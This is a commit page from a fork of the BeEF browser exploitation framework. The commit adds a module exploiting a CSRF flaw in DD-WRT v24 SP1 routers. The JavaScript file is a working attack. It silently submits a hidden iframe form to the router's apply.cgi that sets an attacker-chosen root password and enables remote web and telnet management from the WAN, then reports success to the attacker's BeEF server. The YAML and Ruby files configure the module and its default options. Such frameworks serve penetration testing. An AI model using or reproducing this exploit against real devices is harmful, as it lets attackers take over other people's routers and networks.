Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Added module for DD-WRT v24 SP1 CSRF vulnerability (issue #1006).

Browse Source
This commit is contained in:
soh_cah_toa
2014-06-16 09:48:14 -04:00
parent ce8e943be7
commit fd46915bf2
3 changed files with 110 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

57
modules/exploits/router/ddwrt_v24_sp1_csrf/command.js Normal file
View File

@@ -0,0 +1,57 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var host = '<%= @host %>';
var password = '<%= @password %>';
var port = '<%= @port %>';
var telnet = '<%= @telnet %>';
var path = 'apply.cgi';
if (!host.match(/\/$/))
host += '/';
var ddwrt_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(
host + path,
'POST', 'application/x-www-form-urlencoded', [
{ 'type': 'hidden', 'name': 'submit_button', 'value': 'Management' },
{ 'type': 'hidden', 'name': 'action', 'value': 'ApplyTake' },
{ 'type': 'hidden', 'name': 'change_action', 'value': '' },
{ 'type': 'hidden', 'name': 'submit_type', 'value': '' },
{ 'type': 'hidden', 'name': 'commit', 'value': '1' },
{ 'type': 'hidden', 'name': 'PasswdModify', 'value': '0' },
{ 'type': 'hidden', 'name': 'remote_mgt_https', 'value': '' },
{ 'type': 'hidden', 'name': 'http_enable', 'value': '1' },
{ 'type': 'hidden', 'name': 'info_passwd', 'value': '0' },
{ 'type': 'hidden', 'name': 'https_enable', 'value': '' },
{ 'type': 'hidden', 'name': 'http_username', 'value': 'root' },
{ 'type': 'hidden', 'name': 'http_passwd', 'value': password },
{ 'type': 'hidden', 'name': 'http_passwdConfirm', 'value': password },
{ 'type': 'hidden', 'name': '_http_enable', 'value': '1' },
{ 'type': 'hidden', 'name': 'refresh_time', 'value': '3' },
{ 'type': 'hidden', 'name': 'status_auth', 'value': '1' },
{ 'type': 'hidden', 'name': 'maskmac', 'value': '1' },
{ 'type': 'hidden', 'name': 'remote_management', 'value': '1' },
{ 'type': 'hidden', 'name': 'http_wanport', 'value': port },
{ 'type': 'hidden', 'name': 'remote_mgt_telnet', 'value': '1' },
{ 'type': 'hidden', 'name': 'telnet_wanport', 'value': telnet },
{ 'type': 'hidden', 'name': 'boot_wait', 'value': 'on' },
{ 'type': 'hidden', 'name': 'cron_enable', 'value': '1' },
{ 'type': 'hidden', 'name': 'cron_jobs', 'value': '' },
{ 'type': 'hidden', 'name': 'loopback_enable', 'value': '1' },
{ 'type': 'hidden', 'name': 'nas_enable', 'value': '1' },
{ 'type': 'hidden', 'name': 'resetbutton_enable', 'value': '1' },
{ 'type': 'hidden', 'name': 'zebra_enable', 'value': '1' },
{ 'type': 'hidden', 'name': 'ip_conntrack_max', 'value': '512' },
{ 'type': 'hidden', 'name': 'ip_conntrack_tcp_timeouts', 'value': '3600' },
{ 'type': 'hidden', 'name': 'ip_conntrack_udp_timeouts', 'value': '120' },
{ 'type': 'hidden', 'name': 'overclocking', 'value': '200' }
]);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=exploit attempted');
setTimeout(function() { document.body.removeChild(ddwrt_iframe_<%= @command_id %>) }, 15 * 1000);
});

16
modules/exploits/router/ddwrt_v24_sp1_csrf/config.yaml Normal file
View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
ddwrt_v24_sp1_csrf:
enable: true
category: ['Exploits', 'Router']
name: 'DD-WRT v24 SP1 CSRF'
description: 'Abuses a CSRF vulnerability in DD-WRT v24 SP1 to enable remote
administration with a new root password.'
authors: ['soh_cah_toa']
target:
working: ['ALL']

37
modules/exploits/router/ddwrt_v24_sp1_csrf/module.rb Normal file
View File

@@ -0,0 +1,37 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Ddwrt_v24_sp1_csrf < BeEF::Core::Command
def self.options
return [
{
'name' => 'host',
'ui_label' => 'Router web root',
'value' => 'http://192.168.1.1/'
},
{
'name' => 'password',
'ui_label' => 'Desired password',
'value' => '__BeEF__'
},
{
'name' => 'port',
'ui_label' => 'Desired web ui port',
'value' => '8080'
},
{
'name' => 'telnet',
'ui_label' => 'Desired telnet port',
'value' => '23'
}
]
end
def post_execute
save('result' => @datastore['result'])
end
end